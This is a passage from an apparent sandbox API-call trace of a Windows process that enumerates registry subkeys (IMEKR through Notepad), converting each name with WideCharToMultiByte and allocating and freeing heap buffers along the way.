Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x9db930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x9db930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x9db930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x9dc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x9db930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x9dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0206.069] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.069] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.069] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x9db930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x9dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x9db930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x9db930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.070] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0206.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x9db930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x9dc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0206.070] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x9db930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0206.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x9db930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x9dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x9db930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x9dc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x9db930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x9dc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x9db930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x9db930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0206.071] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x9db930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0206.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x9db930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0206.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x9db930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0206.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x9db930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0206.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x9db930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0206.072] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x9db930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x9dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x9db930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x9db930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x9db930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x9db930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x9db930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0206.073] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x9db930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x9db930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x9db930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x9dc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x9db930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x9db930, cchName=0x104 | out: lpName="Network") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x9db930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x9dc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x9db930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x9dc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0206.074] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x9db930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", 